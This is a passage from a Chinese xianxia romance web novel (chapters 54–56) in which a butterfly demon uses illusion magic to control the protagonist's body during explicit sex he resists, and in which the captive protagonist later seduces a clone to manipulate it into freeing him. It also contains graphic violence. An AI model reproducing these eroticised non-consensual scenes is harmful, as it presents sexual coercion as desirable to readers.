平心而论,他们都生了一张十分讨人喜欢的漂亮的脸,还很会伺候人。 并且大部分时候都唯他是从,甚至在他面前表现得卑微,求他垂怜。谢妄之非常受用,他就是喜欢、就是享受这种感觉。 喜欢他们吗?挺喜欢的,至少是不讨厌。 但结契令他们平等,而谢妄之享受“身居高位”。 只是“挺喜欢”的程度,无法令他甘愿低头。 谢妄之沉默片刻,忽然笑了:“结契,对本公子有什么好处?” “如果,”池越也微笑看他,别有深意,“我的记忆,能给你想要的答案,你愿意吗?” “……?” 谢妄之立即敛容,眯眼审视对方。 池越像是笃定他会接受,至少也会仔细考虑,一副胸有成竹、气定神闲的模样,都不屑观察他的反应,垂着眼。 实际藏在袖中的双手紧张地攥了起来,手心不住冒汗,眼神克制不住地乱飞,只好低头看谢妄之的衣摆。 空气静默片刻,谢妄之终于道:“给我一点时间。” * 之后,谢妄之从池无月、白青崖那里了解到,裴云峰回了裴家,助教之位临时由白少家主顶替,大概是裴家出了事。 谢妄之估摸,应是裴家主宣布退隐,裴云峰继任家主之位。 按照梦中的发展,在这之后,谢妄之很快就要“突破失败”,继而入魔发疯。 留给他的时间不多了。他已隐隐感觉到境界壁垒松动。 但他暂时还没想到破局办法,却也不想和池越结契,烦得不行。 期间,白青崖自知先前将他惹恼,主动变回原身向他撒娇赔罪,像是一只黑色的奶狗,小小一团凑在他脚边,用脑袋不停拱他、蹭他。 谢妄之嫌弃地踢开,对方又巴巴凑上来。来回几次之后,他终于忍不住蹲身,上手去摸。 但他心里有气,动作很是粗鲁。肆无忌惮地玩弄那两只动一下就抖一下的耳朵,还有他盯上很久的毛茸大尾巴,给狗毛揪掉了好几根。 还坏心眼地把狗推翻,四脚朝天躺在地上,甚至逼迫它响亮地“汪”了好几声。 虽然谢妄之无法立刻原谅,但不可否认,这么一通下来,他确实没再那么生气。而且他确实疏于防备、引诱在先。 不过他自以为是“惩罚”、“强迫”,实际对方尾巴摇得快骨折。 目睹这一切的另几人嫉妒得要命,但嫉妒归嫉妒,私下自己解决便是,没人敢在这种“节骨眼”闹到明面上惹谢妄之厌烦。 日子一天天过去,直到游学结束,裴云峰都未归,而谢妄之还是一筹莫展。 突破的预感越是强烈,他便越是烦躁,几人更没敢惹他。 与谢妄之不同,池越愈发紧张期待,有些坐不住,准备去问谢妄之考虑得如何。 未想恰在此时,谢妄之忽然收到了初晴姑娘给他寄的信。 信中称自己近日结识了一个人,要为他引荐,或许能帮上他。信后附了约定的时间与地点,还特别要求他单独前往。 许初晴知道谢妄之的情况,此番当真是阵及时雨,谢妄之喜出望外,决意不论如何都要见上一见,当即回信。 另几人得知此事虽有些不满,但也并未阻止,只是争着要与谢妄之同去。 鉴于自己状态不稳,恐半途心障发作,谢妄之必须至少与其中一人同行。 正犹豫不决时,倏然对上一双金红色的眼眸。谢妄之神色一怔,待回过神时,他发现自己已伸手指向司尘。 另几人当即沉下脸,齐齐看向瞳色已恢复正常的蝶妖。 谢妄之自然也很快反应过来这是怎么回事,但他对这个结果没什么所谓,便点头道:“我们明日启程。” “好的,主人。” 顶着情敌们的锐利目光,司尘神色乖软地应声,在谢妄之看不到的角度,回了个挑衅的笑。 翌日,谢妄之与司尘启程前往约定地点。 大概是因为他们许久没有单独相处过,小蝴蝶表现得格外兴奋,竟一反常态,没有缩小身形坐在他肩膀,而是与他并肩前行。 时间充裕,他们一路游山玩水似的过去,竟令谢妄之连日来的惨淡愁云都散去几分。 其实谢妄之只想带一个人,是出于懒得分出精力去管几人明争暗斗的考虑。 当然,他也知道,就算他说了只带司尘,剩余的人大概率也会悄摸跟着,但至少也会装装样子,不让他发现。这也能达成他的目的。 而不反对带司尘,还有一个重要考量是,他若是心障发作,当真入魔发疯,或许司尘的幻术能派上用场,将他制住。 但或许是最近没人敢惹谢妄之,令他心神松懈,错觉自己还如以前一般可以任意颐指气使,竟忘了防备。 此刻,月华透过窗棂倾泻,谢妄之卧在榻上,自睡梦中惊醒,正对上一双淡金色,隐约掺着猩红的眼眸。 蝶妖不知何时潜入他房中,正坐在榻边。 双臂撑在他头颅两侧,背上蝶翼柔软似水,向前包拢,将他围困。一缕银发自雪白肩膀垂落,恰微微遮住他刻的奴印,发梢轻拂过他手背,触感柔软。 “抱歉,主人是被司尘吵醒了吗?” 见他清醒过来,蝶妖微微挑眉,旋即勾唇轻笑,虽是道歉,语气却毫无诚意。 “主人醒了也好,若是等会儿毫无反应,未免太可惜。” 第54章 主人多疼疼我吧。 “放肆!”谢妄之当即坐起身,扬手甩了司尘一记耳光,“滚出去!” 未想到,他的手忽然不听使唤,手掌碰到对方脸颊,竟变成轻轻抚摸。 他不由睁大眼,想抽回手来,掌心却像粘在上头,怎么用力都纹丝不动。 “主人!呵,主人这样主动,倒令司尘受宠若惊了。” 司尘状似惊讶地挑眉,轻笑了声,随即伸手覆住他手背,脸颊轻蹭着他撒娇,又偏头在他掌心一吻。 “松开!” 谢妄之不由蹙眉,使力往回抽手,掌心却掠过一瞬湿软触感。 正见司尘嘴里探出猩红的舌,从他的掌根顺势往上舔,直到舌头缠卷着指尖送入口中。 “你!——” 眼睁睁看着自己的手指一寸寸没入对方口中,被缠裹着舔舐嘬吸,湿热酥痒从指尖递送到胸口,浑身都发麻。 谢妄之顿觉羞怒,使力往外拔出手指,却像是陷进一片沼泽,越是挣扎便越是深陷。 他几乎气昏头,竟反守为攻。手指在人嘴里肆意翻搅,甚至往人咽喉处伸去。 “唔……” 大概是他太过分,那条舌被玩弄得瘫软,镇压在他的指腹之下,仍不甘心地来回扭动。 接着,司尘忍不住干呕,双眸微微湿润,脸颊与耳廓却泛起潮红,喘息愈发紊乱粗重,却还不肯将他吐出来。 显然是更兴奋了。 见状,谢妄之气得发笑,动作愈发恶劣,又伸了根手指,两指捏住那条舌头大力往外一扯。 直把司尘的舌头拽出口腔,可怜兮兮地耷拉着,唇角不住滑下细长银丝。 谢妄之才反应过来自己能动了,可下一刻,身体又重新变得僵硬,他的手指就那样滞在半空。 “主人喜欢玩我的舌头么?” 司尘意犹未尽,舔了舔他的手,视线往下滑到他腰腹,意有所指,嗓音微哑,“主人若是喜欢,我的舌头也可以做别的。” “大可不必!”谢妄之咬牙切齿,双颊却愈发热烫,“我不喜欢,滚出去!” “主人不喜欢吗?可是,我们好久没有这样亲近过了。主人多疼疼我吧,好不好?” 闻言,司尘双眸愈加湿润,委屈地扁嘴,语气楚楚可怜。话虽如此,淡金的眸中却掺了更多血色,似晖光洒落江面。 不到片刻,谢妄之顿觉身体自发动了。 他向司尘倾身,手掌移向对方后脑,微微使力往自己的方向压,同时凑上去吻对方的唇。 感觉到对方的鼻息喷洒在自己面上,他不由睁大眼,挣扎着后退。却还是离对方越来越近,直到唇上传来柔软触感。 分明神思清醒,身体却像是牵线木偶,动弹不得,只能任由对方操控。 他相当“主动”地伸舌轻舔对方嘴唇,沿着轮廓来回细致勾画,又探进对方唇齿,与人勾缠。 司尘愉悦弯眸,乖顺地张嘴,更加兴奋,额顶细长的触角微微颤动。 接着反客为主,伸手捏住他肩膀,将他抵到坚硬的床壁。身后两片蝶翅也往前包拢,将他围困在一片狭小空间内。 仿佛吸食花蜜,蝶妖含着他贪婪吞咽,耳畔水声粘稠,连呼吸都掠夺。一面压着他亲吻,一面伸手掀开锦被,探入他衣襟。 “唔!——” 胸口衣襟松散,大片肌肤接触温凉空气,随即传来温热酥痒。 谢妄之不由瞪大眼,分明想把人按住制止,双臂却不听使唤地揽住对方肩背。 挣扎再狠也就是动动手指,在人背上不痛不痒地抓挠,更透出邀请意味,只令人面红耳赤。 司尘低笑着松开他,唇舌顺着他的脖颈往下吮吻。额顶触角抵在他锁骨,兴奋得不住轻轻颤动。 “唔……放开!” 谢妄之忍不住弓起背,咬牙低斥了声。双手却把人抱得更紧,手掌紧按在对方后脑,倒像是他主动,愈发恼羞成怒。 但他动不了,更无法阻止。只得眼睁睁看着自己胸腹染上大片艳色,水迹蜿蜒而下,欲望也浸在一片温水中。 “呃——”他禁不住脖颈后仰,头顶撞上床壁发出沉闷的响。 大概是撞的,头脑一瞬间晕眩,视野也变得朦胧,感知都聚集身下,只觉一阵阵热意上涌。 直到眼前花白一瞬,司尘直起身,双手扶着他的腰,令他坐到自己膝上。 “滚!” 谢妄之回过神,又不住挣扎,却阻不住箍着腰的双手往下,甚至“主动”配合地撑起身,气得咬牙切齿,目眦欲裂。 果然如他料想,司尘实际远不如面上那样乖巧,否则他也不会抗拒。但他确实疏于防备。 片刻,腰肢重新被两只手箍着,强硬往下按。身体被迫下沉,仿佛滚热的池水没过头顶,全身都发麻发烫。 床榻剧烈摇动起来,身体也颠簸,像是骑着一匹失控的烈马,缰绳也脱手。 难言的失衡失重令他本能攀紧对方肩膀,五指在人背上凶狠抓挠。 却惹得蝶翅微振,竟带他腾空,令身体彻底失去平衡,反陷入更难堪的境地。 他强忍住呻吟,鼻息粗重,嘴唇咬得血迹斑斑,腮帮都发痛。 司尘却在这时又凑过来吻他,唇角还挂着一道白丝,甜腥气味随舌尖一并渡了过来。 身体只能小幅度地动作,他便存着力气,狠狠咬了司尘一口,妄图把人逼退。 司尘如愿松开他的唇,唇瓣还沾着血,但面色并不见恼,只是微微笑了一下。 紧接着,谢妄之便不由自主仰起头喊出声,听得人脸热,好像先前的忍耐都是笑话,他本就放荡。 司尘笑得真心实意了些,触角愉悦颤动,又低头舔吻他脖颈淌下的细汗。忽然道: “主人,他知道的,我也知道,何必就答应他?你想知道什么,我也可以告诉你。” 说着,动作总算放缓些,谢妄之得以喘口气,狠狠瞪着司尘,几乎想把自己亲手送出去的翅膀再撕下来。 他紧盯着对方看了片刻,勾唇冷笑:“说吧,你又是什么条件?” “……呵。”司尘状似惊讶地挑眉,随即轻笑了声,凑过来亲昵又讨好地蹭他,语气乖软,“主人误会了,我可不像他们,我没有什么条件。” “你要什么?”谢妄之不信,神色不变。 “好吧,我想要……” 像是因为谢妄之执意要给,司尘才开始思考自己想要什么。 对方动作微顿,缓慢直起身,仰起脸看他,眸光暗淡些许,手指轻点了下谢妄之的胸口,又顺着他的脖颈往上,轻捧住他脸颊,哑声道: “我只想要主人能记起我,以后也能一直记得我。” 说着竟泪盈于睫。 谢妄之撞入那双湿润的眼中,仿佛沉进一片金色的湖泊,眼前忽然浮现出什么。 * “大人……” 紧闭的屋门被轻轻叩响,等了片刻不见应答,外头的人便推门而入,缓步往深处走,山水屏风映出一道娉娉袅袅的身影。 见屋中人趴伏在桌案,即便自己走到近前也毫无反应,它收起脸上殷勤讨好的笑,眼神变得冰冷刺骨,身周聚起光芒,容貌急速变化。 直到完全露出本相,方知此人竟是只妖。 一张脸生得精致漂亮,雌雄莫辨,银发金瞳,头顶一对细长触角,背生一双流光溢彩的蝶翅。 它振翅凑上前,金瞳变得血红,双手结印上下翻飞,指尖聚起灿金色的灵光,红唇微微开合,念念有词。 灵光打出时,它几乎掩不住恶劣得逞的笑,但下一刻,它的神色便僵住了。 “怎么才来?等你许久了。” 只见对方抬头,伸指轻轻一点便将那道灵光打散,唇角微勾,眼神清明嘲讽,丝毫不像中了术法的样子。 “池无月!你、你醒着?我的幻术竟然不起作用,怎么可能?!” 蝶妖惊恐瞪大眼,急速振翅退后,但已来不及。 只见数道漆黑的阴影如长蛇般,从池无月的脊背钻出,眨眼间便捆住它的四肢,两瓣蝶翅浸在一片深浓的黑雾中,像是沉入泥沼,丝毫动弹不得。 “池无月!放开我——” 它拼命挣扎起来,却在黑雾中越陷越深,甚至感觉到蝶翅被黑雾腐蚀出孔洞,传来烧灼刺痛,心中愈发恐惧。 眼角余光瞥见池无月向它缓步走近,分明是人类修士阵营的领袖,身上却妖气冲天,黑色的浓雾铺天盖地,如山一般倾压,一张昳丽绝尘的脸爬满蛛网般的黑线,诡异可怖。 池无月在几步之外站定,眯眼打量它片刻,蹙眉道:“传说流光蝶妖精于幻术,天下无人能挡,现下看来,也不过如此……难道要我转变策略么?” 对方最后一句像是自言自语,蝶妖没听懂,也不知道为什么一只妖会加入人类的阵营,此前也从未听闻这位是妖,但它被吓得不轻,只赶忙解释道: “我族最擅长的,是编织一场永远不会被戳穿谎言的梦境,无论是颠倒是非,还是扭转爱恨,俱不在话下,只要入梦,唯命是从。若是大人愿意高抬贵手,小妖定为您效劳。” “‘扭转爱恨’?”池无月轻声重复,指尖微顿,长睫轻颤了几下,眸光闪动,“……当真?” “自然是真!”蝶妖忙不迭点头,语气迟疑又暗含几分期待,“只是,不知大人意下如何?” “很好。” 见池无月状似满意地勾唇颔首,蝶妖还以为对方饶过自己,未想到,黑雾转瞬将它侵吞。 蝶妖瞪大眼,拼命挣扎,一面哑声嘶吼道:“池无月!你不是说了会放过我么?你们人类,着实卑劣!” “呵。”池无月浑不在意地轻笑一声,抱起双臂任由黑雾动作,“人妖两族鏖战至今,胜负未分。我若是放了你,该如何向我还在苦苦支撑的盟友交代?” “你!——” 原来他自始至终都没想过饶它一命。蝶妖终于看明白,但为时已晚。 蝶翅被腐蚀得残破,四肢溶解在雾中。 直到最后一缕银发也被烧尽,世间最后一只流光蝶妖自此香消玉殒。 在脑中又响起尖锐的警报声时,池无月充耳不闻,令黑雾凝聚成实体,伸指凭空勾勒,为其绘出人类的躯干、四肢。 黑雾已大体成形时,他又“画蛇添足”,在头顶与脊背多画了几笔。 直到一只“流光蝶妖”新生。 银发金瞳,肌肤如雪,两根细长的白色触角从额头探出,背上的蝶翅流光溢彩。 与先前那只蝶妖一般无二。 池无月很满意新的分身,又调整了一下对方的五官,终于命令道: “去找谢妄之。你知道该怎么做,不要让我失望。” 第55章 想再摸摸看吗? 蝶妖奉命前往“禁地”。 从外头看,那只是一处寻常的宅院,黑瓦白墙,绿树成荫,环境清幽雅致。 但当它靠近,难以言喻的威压便铺天盖地袭来,仿佛沉入深海,窒息压抑。 这是池无月布下的重重禁制。一般人定然要命丧当场,所幸它与池无月是一体同源,适才得以进到屋内。 却见里头暗无天日,仿佛误入什么强大妖物的巢穴。 黑色浓雾凝成万千丝绳,从屋子的四面八方伸出,吊在房梁、粘着墙壁与门窗,织成一张硕大无比的网。 一名男性青年被困在巨网正中,修长四肢被紧密缠缚,饱满皮肉都被勒得凹陷。 身上衣物松散,被汗水浸透,胸腹露出的肌肤遍布红痕,细汗流淌,似浇了层蜜,透出难言欲色。 似乎挣扎得筋疲力尽,他正垂着头休憩,乌发凌乱披散,遮住五官,只听见□□紊乱。 蝶妖走近一步,青年立即警觉抬头。透过发间缝隙,依稀可见一双血红的眸,浓眉压眼,更显凌厉与野性危险。 它不由怔住,清晰感到自己胸口跳动剧烈几分,情不自禁走近,直到站定在三步之外。 “你是谁?” 青年率先开口,嗓音低沉微哑,语气沉着冷峻。分明被绑缚成一个屈辱姿势,气势却并未矮上半分。 “我是——” 蝶妖张口,说至一半却滞住。 它没有名字。 本质上,它是池无月的“分身”,它也可以自称“池无月”。 但其实它并不认为自己和池无月是同一个人,也不想叫这个名字,尽管他们感官相连,并且它诞生时也继承了池无月的记忆与情感。池无月想必也不会认为他们是同一个人。 “池无月派你来的?来做什么?”青年并未在意它的沉默,又问了一句,语气更冷。 接触对方的眼神,又想起此行目的,蝶妖顿了下,额顶触角微微颤动,双手也忍不住攥成拳,随后轻轻摇了摇头,“……不是。” 在了解谢妄之与池无月的纠葛之后,它更不想承认了。 它才不要也被谢妄之讨厌。 甚至在开口之前,它已经单方面切断了与池无月的感官联系。 不知谢妄之信了没信,话音落下片刻都没有应答,一双血瞳紧盯着它,它不由愈发紧张。 “呵。” 又过会儿,谢妄之意味不明地低笑了声,语气莫名放缓些,与方才对比,竟显得温柔:“那你是怎么进来的,小蝴蝶?” 乍闻这样有些亲昵的称呼,蝶妖顿觉脸热,胸口跳动更剧烈,气息都慌乱,“……我无意间闯入此地。” “这样啊。”谢妄之浅淡应了声,并未深究,被紧密捆束的手臂微微动了动,似乎是想向它招手,“告诉我,最近外面都发生了什么,好吗?” “好。” 蝶妖并未犹豫,乖乖点头。它继承了池无月的记忆,这并不难。但必须省略不能说的部分。 谢妄之受刑后,池无月将剑骨送还,以秘法缝回治愈,却又将他囚在此地,至今已有数年光景。 各世家之间本就矛盾重重,而谢家被集体针对,谢妄之受刑后,谢家开始没落。由此,各世家之间的争斗逐渐摆上明面,冲突愈发激烈。 除此之外,散修阵营苦各大世家垄断资源、打压排除异己的局面已久,自发组织反抗。 而在修仙界内讧时,潜藏的邪修与妖魔勾结,趁虚而入,大举进犯。 几年过去,池无月已然摆脱奴隶身份,在修仙界崭露头角、大放异彩,身边聚集许多志同道合的盟友,俨然成为正道修士的领袖。此时正联合各方势力抵御妖邪,鏖战至今仍然未分胜负。 “……好,我知道了,多谢。” “不客气。” 为照顾谢妄之的情绪,谢家如今的情形蝶妖只提了一嘴。 但谢妄之全程神色波澜不惊,好像不必它多此一举,之后便一直沉默,不知在想什么。 而它也不知该说什么,忽然觉得煎熬,但也不舍得走。 空气又静默片刻,谢妄之忽然问:“小蝴蝶,你之后还会来吗?” “你……”蝶妖猛然睁大眼,呼吸微滞,心跳变得吵闹,“你希望我来?” 对方浅淡应了声“嗯”,唇角微勾。 蝶妖呼吸更乱,慌忙移开视线,结结巴巴应道:“好、好的,我会来的,我、我还有事,就先、先走了。” “嗯。”谢妄之微笑颔首。 蝶妖恍神一瞬,耳廓都发烫,再不敢多留,当即振翅逃走。 却不知道它转身后,谢妄之立刻敛了笑。 * “如何?” 池无月坐在案前,一页页翻阅着书卷,看起来相当专注,心思却全不在上头。 “公子心性坚定,幻术作用微弱,需多次尝试。” 蝶妖离开禁地才想起来恢复联系,接着立刻就被池无月喊来问情况。 但出于隐秘的心思,它不想说实话。 “……” 池无月眉心紧蹙,抬头审视蝶妖片刻,眼眸微眯:“你中途切断了联系。为什么?” “嗯。”蝶妖应声,神色从容不迫,与在谢妄之面前时完全不同,“因为施展幻术需要全神贯注,我不想分心。” 这个解释还算说得过去,但池无月没应声,视线仍在蝶妖脸上逡巡。 但他到底没发现什么,只好道:“行,那就继续吧,每回都要向我禀报。” * 第二日,蝶妖又去了禁地,进屋就将联系切断。 却见谢妄之还是被困在巨网中,像是一直在等它,一见它便抬头微笑道:“你来了。” 说着,他微微挣扎,“抱歉,我只能以这幅姿态与你说话。” “我……”蝶妖呼吸一滞,胸口刺痛,险些将什么话说出口,又连忙止住,摆摆手,“没关系,我不在意。” “……嗯。”谢妄之动作一顿,眯了下眼,但很快恢复如常,“我很久没有出去过了,能再与我说说外面的事么?” “好。”蝶妖点头。 为避免如昨日一般,这次它有备而来,专门拣了有趣的事说与谢妄之听。对方果然笑得多一些,也多说了几句话。 但蝶妖不能久留,以免池无月起疑。分明感觉才说了一会儿话,却转眼就到分别时候。它不舍得走,不由难过得沉默下来。 谢妄之敏锐察觉什么,问道:“小蝴蝶,你是不是要走了?” “嗯。” “那你明日还会来么?”谢妄之追问,神色有些落寞,“好久没有人这样与我说话了。” “会来的!”见状,蝶妖胸口愈发刺痛,忙坚定点头,“每日都会来。” “好。我等你。”谢妄之微笑颔首。 蝶妖恋恋不舍地多看了一眼才走,之后又去向池无月禀报,照样没说实话,而池无月瞧不出什么异常。 一连数日,它都借口幻术作用微弱,要多次尝试,每日都去作陪,越来越不舍得走。幸好池无月在忙着过剧情,抽不出空管它,便每次都偷摸多留一阵。 这日,蝶妖去时多带了一束花。 它只是路过,觉得香气浅淡而怡人,便随手采下。本想送给谢妄之,可真见到了人,顿觉这份“礼物”过于寒碜,下意识藏到了身后。 未想谢妄之有些兴趣,要它拿到近前仔细嗅闻。 它乖乖依言照做,走近些许,却见谢妄之大半张脸都被头发遮住,不好动作,又不敢直接上手,便僵在原地。 而谢妄之适时出声:“小蝴蝶,能帮我撩一下头发么?” “好、好的!” 蝶妖微微睁大眼,下意识屏住呼吸,颤着手拈起一缕发丝,帮人别到耳后。 指尖却不经意擦过对方的脸颊与耳廓,触感细腻温热,仿佛电流窜过,手臂与胸口都发麻。 它赶忙收回手,却又撞上那双殷红的眸。现下毫无遮拦,比初见时冲击更甚,心率一瞬过速,险些忘记自己要做什么。 直到谢妄之轻唤了声“小蝴蝶”,它才回过神,将另一手的花送到对方面前。 它摘下时并未连着根茎一起,花瓣凑到对方鼻尖时,它的手指也离对方很近。温热的气流回旋着打在它的指尖,痒得它忍不住发抖。 竟是一不小心,令手指碰到对方嘴唇,触感柔软如云。 “抱、抱歉!”蝶妖瞪大眼,触电般慌忙收回手,又背到身后,脸颊与耳廓一瞬红得发烫,话都说得磕绊,“我、我不是……” “没关系,”谢妄之轻笑摇头,淡淡揭过,“这花的香气很好闻,谢谢你。” “嗯、嗯!不客气。”蝶妖连忙顺着点头,“那里是一片花海,很漂亮。你若是喜欢,我下次多采一些来。” “花海么?”谢妄之轻轻挑眉,又叹了声,像是自言自语,嗓音几不可闻,但又恰好能令蝶妖听到,“真想亲眼见一见啊。” “……”蝶妖胸口一刺,顿时沉默下来。 见对方反应不如预期,谢妄之不由蹙眉,眼神一瞬凛冽。但忽然注意到蝶妖视线落点,立时眉宇舒展。 他暗自深吸口气捺下不满,面上神色如常,微笑调侃道:“为何一直盯着我?在看什么?” 闻言,蝶妖如梦初醒,才发现自己一直盯着谢妄之的嘴唇,脸颊温度才冷却些许,立时又变得热烫,慌忙撇开视线,“没、没有……” “真没有?”谢妄之挑眉,唇角勾起弧度略略扩大。 “……”蝶妖默不作声,眼睫不安颤动,耳廓红得滴血。 “方才,触感如何?” 谢妄之唇边笑意加深,嗓音低沉微哑,语气诱哄,“想再摸摸看吗?” 第56章 舌头有点疼。 蝶妖一怔,猛地转头看谢妄之,瞳孔剧烈颤动,呼吸凝滞一瞬又变得紊乱急促。 它不知道谢妄之为什么忽然说出这种话,又或许它知道,但不愿去想,只是不由自主紧盯着谢妄之的唇。 神思挣扎片刻,它终于轻咽了口唾沫,小心翼翼确认:“真、真的可以吗?” 话音落下,谢妄之当即颔首“嗯”了一声。 苦苦支撑的理智一瞬倾塌,身体先于大脑做出反应,猛地伸手。 它看起来急不可耐,实际只是用指尖轻触了一下便撤开,似蜻蜓点水,都来不及品,更无法回味。 即便如此,胸口跳动仍吵闹剧烈,双手垂在身侧紧攥成拳,不停发抖。 其实它继承了池无月的记忆,印象中把人弄得一塌糊涂的情况常有,按理说只是这种程度的接触,不至于令它这样紧张激动。 可那些记忆只是存在于脑中,它仅仅是知道原来有这么回事,而现下真实的触碰才令它有了实感。 与池无月切断联系后,单独与谢妄之接触的这段经历仅属于它自己。 从此刻开始,它才真正清晰地感觉自己“获得了生命”,成为了独立的“人”。 继而忍不住去对比,于是心生嫉妒,变得不满、贪婪。 他直勾勾盯着谢妄之不放,想再次伸手,甚至更进一步,却又怕惹人厌烦,迟迟没动。 正觉委屈和无措时,谢妄之忽然低笑了声,调侃道:“只是这样就满足了吗?” “什、什么……” 蝶妖神色一怔,心跳陡然大得听不见自己的声音,只是顺从本能地再度伸手。 他一面试探着覆住谢妄之的脸颊,一面观察着对方的反应。 见谢妄之并未抗拒,他的胆子慢慢大了些,整只手都贴上去,顺着脸颊轮廓往下摸。 拇指停在对方嘴唇,轻轻下按,直到露出一线莹白,不由顿住,长睫低垂,金瞳蒙上一层阴翳,变得幽暗。 “……” 见蝶妖目露痴迷,谢妄之呼吸微顿,强忍着恶心厌恶,主动张嘴含住对方指尖,用舌头轻舔。 虽只是一瞬后便吐出,濡湿柔软的触感仍残留。 “你——” 蝶妖猛地睁大眼,额顶触角颤抖,身后蝶翼都扇动,带起一股风,吹落谢妄之才别到耳后的发丝,手指却仍停在他的唇上。 那束花猛地砸落,发出微响。蝶妖伸了另一手又将他的发丝别到耳后,用双手轻捧住他脸颊。 沉默与他对视片刻,竟是微微屏住呼吸,缓慢倾身凑近,直到吻在他嘴唇。双眼紧闭,睫羽不住抖动。 先是紧贴着,渐渐不满足于此,探舌描摹他的唇形轮廓,又试图侵入他口腔,挤进了唇缝。 谢妄之神色漠然,顺从地张嘴接纳,任由对方纠缠、吸吮,予取予求。直到呼吸不稳,唇角滑落水丝。 双手掐得掌心深陷,快沁出血,极力克制着恶心,才不至于咬断那条舌头。 直到他快喘不上气,蝶妖才将他松开,喘息比他还粗重。但没过多久又吻上来,比方才还要狂热,仿佛吸食花蜜,不住贪婪攫取。 重复几次之后,谢妄之忍不住偏头避开。见对方眼神幽暗,还伸手掐住他下颌,似乎要不管不顾再吻上来,只好安抚道:“舌头有点疼。” “抱、抱歉!” 蝶妖睁大眼,脸颊与耳廓一瞬红得滴血,下意识将他抱住,埋头躲入他颈窝。片刻后又小声央求道:“那、那我轻一些,好不好?” “……” 谢妄之眉心微蹙,到底还是应了声“嗯”。 但许久之后,蝶妖仍不满足,谢妄之已经烦了,又不好表现出来,便更加烦躁。 忽然瞥见地上的花,赶在对方又凑上来之前,隐晦地下了逐客令:“明日,你再为我带一束花来,可以吗?” 蝶妖聪慧,哪里会听不出弦外之音,但他自知理亏,不敢再纠缠,连忙应了声“好”,又恋恋不舍地抱他一会儿才走。 屋中再度归于沉寂,缠在谢妄之身上的黑雾微微蠕动,色泽愈浓。 * 往后数日,蝶妖每回都为谢妄之带一束新鲜的花,养在一只瓷瓶里,隔几日便扔掉换新的。 他一面照料花,一面与谢妄之闲聊,侍弄完花之后的大部分时间便与谢妄之亲近。 大概是因为那日突破了什么界限,蝶妖渐渐变得主动,也变得贪婪,无法再满足于只是与谢妄之接吻,一日比一日过分。 长久的一吻毕,蝶妖并未撤开,而是顺着他的脖颈往下吮吻。徒手轻而易举撕开缠在他胸口的黑雾,又低头覆上去。 片刻后,水迹蜿蜒而下,蝶妖跪在他身前,埋下头。额顶的细长触角随着起伏微微晃动,末梢来回蹭着他的腰腹,羽毛轻抚般的痒。 谢妄之咬着唇憋住声音,双颊润红,身体热烫,四肢一阵阵发软发麻,无意识地挣扎颤抖。 直到蝶妖微微撤开,似是想令他注意到什么,头颅后仰,看他的眼神炽热湿润,喉结来回轻滚,又伸舌舔去唇边粘连的丝线。 见他没什么反应,还伸手攥住他的手臂轻轻摇晃着撒娇,就差把讨要夸赞写在脸上。 “……呵。” 谢妄之喘息着低下头,轻轻哼笑了声,下一刻就被人掌着后脑吻住嘴唇。 边吻着,蝶妖边伸手抱他,手掌不安分地滑向他的腰后,哑着嗓音撒娇,“谢妄之,我想要你。” 谢妄之眼神骤冷,一瞬后又恢复如常,并未直言拒绝,只是微微勾唇道:“现在还不行。” “为什么?”蝶妖追问,不甘心地继续,边吮吻着他的脖颈。 “因为……”谢妄之暗自冷笑,却是任由对方动作,声音断续低哑,“若是让他知道了,他会生气的。” “……谁?”蝶妖自然知道“他”是谁,但仍然要在谢妄之面前假装自己不知道。 “呵。”谢妄之唇边笑意愈深,眼神却冰冷嘲弄,“自然是将我囚在此处的人,池无月啊。” 见对方顿住动作,谢妄之又在心里冷笑,面上眉峰微挑,笑得放肆玩味:“小蝴蝶,你来了这般久,想必也知道我和他之间的纠葛。如何,你还敢吗?” “……”蝶妖沉默下来,薄唇紧抿。不知在想些什么,灿金眼眸蒙上阴翳,长睫微颤,似是动摇。 谢妄之低笑了声,凑在对方耳边继续诱哄道:“小蝴蝶,比起他来,我可相当喜欢你,要不要带我走?只要你带我走,我就是你的了,想对我做什么都可以。” “……”蝶妖仍沉默,呼吸却猛然变得急促粗重,额顶触角都颤抖,明显心动。 “呵,还是说,像这样偷情,你就满足了?”谢妄之哼笑了声,加大些火力挑衅,咬字清晰,轻重音明显,“即便看着他亲我、抱我,你也能无动于衷?甚至——” “不要!” 蝶妖面色陡沉,猝然将他打断,又伸臂将他抱紧,脸颊埋入他颈窝,连身后的蝶翼都向前包拢,似乎要将他融进自己的身体。 “别说了,求你……” 湿热的风拂过耳畔,对方的声音低哑得像是要哭,谢妄之却神色漠然,只觉厌烦。 其实他已经没有耐心了,但这次是他不可多得、绝无仅有的机会。 “……抱歉,小蝴蝶。” 他深吸口气,微微侧头碰了碰对方,似是安抚,声音轻柔却难掩落寞,“我不是要强迫你,我只是想和你多待些时日。不过,没关系,像现在这样就很好了。” 话音落下,箍住腰肢的双手猛然收紧,像是要将他揉碎。 片刻,蝶妖将他松开,静默看他一会儿,倾身在他唇上落了一吻便要转身离开。 “小蝴蝶!” 谢妄之神色微怔,忽然拿不准对方这是什么意思,慌乱了一瞬,下意识把人叫住。 见蝶妖回头,他勉力扬起笑,“你明日还会来吗?” “嗯。”对方轻轻点头。 * “站住。” 蝶妖走出屋门不远,忽在回廊转角瞥见一抹熟悉身影,不由面色微沉,身体紧绷。 池无月打量他片刻,蹙眉道:“这几日,怎没有来向我汇报?” “……嗯。”蝶妖指尖轻蜷,面不改色地扯谎,“施展幻术消耗太大,太累了。” “是么?”池无月眉峰微挑,神色看不出喜怒,身周黑雾涌动,“那可有什么进展?” 蝶妖顿了顿,坚定摇头。 “……呵。” 像是未料到他这般干脆,池无月神色微怔,而后低笑了声,抱起双臂饶有兴致地问:“那你每日都去找他做些什么?” 不等蝶妖答话,池无月便自顾接道:“闲聊、送花,还有——” 说到此处,他声音微顿,神色一瞬狰狞,身周涌动的黑雾顷刻间铺天盖地,如潮水般逼近蝶妖,将其围困。 他微勾了下唇角,抬步走近,五指虚空一握,黑雾便凝成两只巨大的手掌,瞬间便牢牢掐住蝶妖的翅膀,几乎要将其撕碎。 看着蝶妖疯狂挣扎,剧烈灼痛顺着相连的感官传递,池无月无动于衷,面上仍微笑着,眼神却刺骨,咬牙切齿道: “谁准你碰他了?你以为切断联系,我便什么也不知道吗?” 话音落下,那黑雾凝成的手掌瞬间用力,蝶翅与脊背相连的根部被硬生生撕扯下些许,还连着带血的皮肉,伤口深可见骨。 “唔……”蝶妖疼得面色发白,清晰感觉到有温热液体滑下脊背,翅膀本能地挣扎扇动。 